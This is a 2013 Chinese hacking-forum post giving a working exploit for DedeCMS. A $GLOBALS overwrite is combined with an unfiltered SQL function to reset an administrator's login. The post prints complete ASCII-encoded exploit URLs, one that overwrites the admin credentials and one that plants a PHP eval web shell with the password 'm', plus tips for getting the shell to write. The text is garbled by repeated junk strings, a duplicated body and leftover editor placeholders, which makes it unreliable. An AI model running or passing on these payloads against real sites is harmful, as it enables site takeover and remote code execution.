中国网络渗透测试联盟

标题: dedecms最新版本修改任意管理员漏洞+getshell+exp [打印本页]
作者: admin    时间: 2013-9-21 16:08
标题: dedecms最新版本修改任意管理员漏洞+getshell+exp
此漏洞无视gpc转义，过80sec注入防御。6 @4 I  A& _- `) v4 ]" `! |
补充下，不用担心后台找不到。这只是一个demo，都能修改任意数据库了，还怕拿不到SHELL？* x8 R6 v' F8 t
起因是全局变量$GLOBALS可以被任意修改，随便看了下，漏洞一堆，我只找了一处。* V( \$ W) V8 N# |' }
include/dedesql.class.php! O. ^  \3 S( U1 m, h3 I
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖，是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说，不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
  J1 U& L+ F+ e同一文件中，有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
( [# p6 Y8 w# h, ?而用ExecuteNoneQuery2执行SQL并没有防注入，于是随便找个用ExecuteNoneQuery2执行的文件。
5 ~- f( S. U( @+ K3 ~plus/download.php
' `/ n% z3 W0 d4 V6 nelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密，程序会帮我们自动解密的，所以无视gpc)：
& R& ]# ^5 a" C3 }4 F, Iadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:% {) ?( f! u3 o) q" A
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
! c+ S: T6 C  d$ v+ E% p, X4 k% Ehttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题，后台登录用户spider密码admin. l& g% k, q1 u
漏洞真的不止一处，各种包含，远程代码执行，很多，列位慢慢研究。
  R% D' \- r! v) m4 i) U4 V如果找不到后台，参见以前修改数据库直接拿SHELL的方法
% R8 b) t2 N: l! j% a( [  sUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义，过80sec注入防御。" B# `* n: p! K+ U) m! g
补充下，不用担心后台找不到。这只是一个demo，都能修改任意数据库了，还怕拿不到SHELL？% D$ }* Q, c# c) i0 U" Y
起因是全局变量$GLOBALS可以被任意修改，随便看了下，漏洞一堆，我只找了一处。
8 J% @- E0 \# g+ y4 I' C3 Z" Y" m5 yinclude/dedesql.class.php
  c& e; e. m8 v3 N; Jif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖，是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说，不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。4 h% a7 e2 b, `
同一文件中，有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery26 a3 E! ]& j" A) q2 T9 E; M
而用ExecuteNoneQuery2执行SQL并没有防注入，于是随便找个用ExecuteNoneQuery2执行的文件。
6 a+ ^1 w7 O; E5 O  y2 xplus/download.php$ f: h* w: s$ D$ I! p# W
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密，程序会帮我们自动解密的，所以无视gpc)：
4 y( c% Z6 [. Fadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:7 P- Z# l- P% ^& G6 z8 M
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:: ]; h: k' [% E7 ]) ^- n0 Y4 q
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题，后台登录用户spider密码admin$ B7 L3 {5 L, {$ I. J. }( c; Y4 J
漏洞真的不止一处，各种包含，远程代码执行，很多，列位慢慢研究。
( g1 j. W& n0 ?) E: a- b1 B  E如果找不到后台，参见以前修改数据库直接拿SHELL的方法- s3 U5 g  w* N& R& U
___FCKpd___6getshell：
2 ]  g: j$ f( }http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
+ T7 R" Y, t: Ahttp://127.0.0.1/plus/x.php
4 E  P( o9 R, p! v0 A. U1 mupdate成功后还要访问下 /plus/mytag_js.php?aid=1
/ S# F2 E! c  t失败原因：
3 x% ]) a) B/ z: P$ c9 b; l测试发现，如果aid为空或已经生成过一次，则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)5 \: S7 m. u! I3 O4 p* C1 i
配图：
2 A6 A3 D" g3 p7 ~8 w1.查看dede当前版本" h& }5 |& K& B* r
" \$ |6 _( t% H0 ^6 r2 s; W/ x+ t
2.执行exp
- i& h: ]  Q( U1 c1 w1 y9 B9 E  P- f3 z* \1 C; e
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
  i4 h! x' g+ w2 u
# E  M9 w  t% I* h  p) bspider密码admin
, M8 J) Q9 k' h$ r  ?) l
- D4 n/ ^, }1 P3 l" l4 }/ F" |7 {http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png0 c1 O/ _3 s$ @
原作者：imspider* ]" H$ ?% K, `: z, d

8 f3 ]0 T) R0 x- h7 e本博客测试+配图+getshell1 F; K0 a" Y7 B% ?
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT 0 K! o" a8 X" Q+ x& O7 M8 P5 H" |

* i$ A3 }) ]6 D# r) E8 d4 f9 ^& A' Rgetshell：4 k3 y; L" @: L/ e+ M
___FCKpd___7会在plus目录生成 x.php 密码 m
$ y. m; J# Y1 N, `: Uhttp://127.0.0.1/plus/x.php( v9 t' B, e) ^' F) H6 _2 t
update成功后还要访问下 /plus/mytag_js.php?aid=1
0 S9 |& F. O* |! L# \' F失败原因：! r6 q" {# ^/ F7 Z- C' X
测试发现，如果aid为空或已经生成过一次，则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)6 H: Y; y  u: n4 C8 G
配图：
/ A5 @1 [. Y0 E# M9 s7 e1.查看dede当前版本
+ h1 O0 D# W. Qhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png1 p7 Y8 Z/ c; }6 G( K+ V
2.执行exp
! \9 c- c% p2 W, Y5 lhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台& y, i; o, o. X; [, G
spider密码admin# k9 Z% B! r+ L1 Y& ?
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png7 Z5 X8 l( o5 s- A8 Q  a

  T% s, x$ g2 N5 w6 a+ J: n- ^! L& f' J



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2